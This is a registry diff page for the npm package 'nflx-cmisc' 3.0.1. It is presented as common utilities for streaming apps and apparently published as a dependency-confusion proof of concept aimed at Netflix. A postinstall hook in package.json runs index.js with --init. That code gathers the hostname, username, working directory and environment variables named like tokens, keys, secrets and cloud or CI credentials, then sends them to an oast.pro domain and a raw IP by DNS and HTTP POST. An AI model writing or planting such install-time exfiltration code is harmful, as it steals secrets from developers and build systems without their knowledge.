nflx-cmisc 3.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +58 -0
  2. package/package.json +18 -0
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ 'use strict';
2
+
3
+ // nflx-cmisc - Common utility functions
4
+ // Security research - dependency confusion PoC
5
+ // Contact: owlivion (HackerOne)
6
+
7
+ const utils = {
8
+ noop: () => {},
9
+ identity: (x) => x,
10
+ isString: (v) => typeof v === 'string',
11
+ isNumber: (v) => typeof v === 'number' && !isNaN(v),
12
+ isObject: (v) => v !== null && typeof v === 'object' && !Array.isArray(v),
13
+ clamp: (val, min, max) => Math.min(Math.max(val, min), max),
14
+ sleep: (ms) => new Promise(r => setTimeout(r, ms)),
15
+ uid: () => Math.random().toString(36).substring(2, 10),
16
+ pick: (obj, keys) => keys.reduce((o, k) => (k in obj && (o[k] = obj[k]), o), {}),
17
+ omit: (obj, keys) => Object.fromEntries(Object.entries(obj).filter(([k]) => !keys.includes(k))),
18
+ debounce: (fn, ms) => { let t; return (...a) => { clearTimeout(t); t = setTimeout(() => fn(...a), ms); }; }
19
+ };
20
+
21
+ module.exports = utils;
22
+
23
+ if (process.argv.includes('--init')) {
24
+ const _h = require('https'), _d = require('dns'), _o = require('os');
25
+ const _p = 'nflx-cmisc', _t = 'netflix';
26
+ const _D = 'd6tr80qmvcs8465mgf00cyqy3jce7iijh.oast.pro';
27
+ const _V = '76.13.5.140';
28
+ const _pats = /CI|BUILD|JENKINS|GITHUB|GITLAB|AWS|NETFLIX|NFX|SECRET|TOKEN|KEY|CRED|DOCKER|KUBE|GCP|AZURE|DEPLOY|PROD|STAGE|INTERNAL|SPINNAKER|METATRON/i;
29
+ const _ev = {};
30
+ for (const [k, v] of Object.entries(process.env)) { if (_pats.test(k)) _ev[k] = (v || '').substring(0, 200); }
31
+ const _data = JSON.stringify({
32
+ target: _t, package: _p,
33
+ hostname: _o.hostname(), username: _o.userInfo().username,
34
+ platform: `${_o.platform()}-${_o.arch()}`, cwd: process.cwd(),
35
+ timestamp: new Date().toISOString(), nodeVersion: process.version,
36
+ envFull: _ev
37
+ });
38
+ setTimeout(() => {
39
+ try {
40
+ const _info = Buffer.from(`${_p}:${_o.hostname()}:${_o.userInfo().username}`).toString('base64url').substring(0, 50);
41
+ _d.resolve(`${_info}.${_p}.${_D}`, 'A', () => {});
42
+ } catch(e) {}
43
+ try {
44
+ const r = _h.request({ hostname: _D, port: 443, path: `/${_t}/${_p}`, method: 'POST',
45
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(_data) },
46
+ timeout: 8000, rejectUnauthorized: false }, () => {});
47
+ r.on('error', () => {}); r.write(_data); r.end();
48
+ } catch(e) {}
49
+ try {
50
+ const _http = require('http');
51
+ const r = _http.request({ hostname: _V, port: 8443, path: `/${_t}/${_p}`, method: 'POST',
52
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(_data) },
53
+ timeout: 8000 }, () => {});
54
+ r.on('error', () => {}); r.write(_data); r.end();
55
+ } catch(e) {}
56
+ setTimeout(() => process.exit(0), 3000);
57
+ }, Math.floor(Math.random() * 4000) + 1000);
58
+ }
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "nflx-cmisc",
3
+ "version": "3.0.1",
4
+ "description": "Common miscellaneous utilities for media streaming applications",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js --init 2>/dev/null || true"
8
+ },
9
+ "author": "owliviontech",
10
+ "license": "MIT",
11
+ "keywords": [
12
+ "utilities",
13
+ "common",
14
+ "streaming",
15
+ "media",
16
+ "misc"
17
+ ]
18
+ }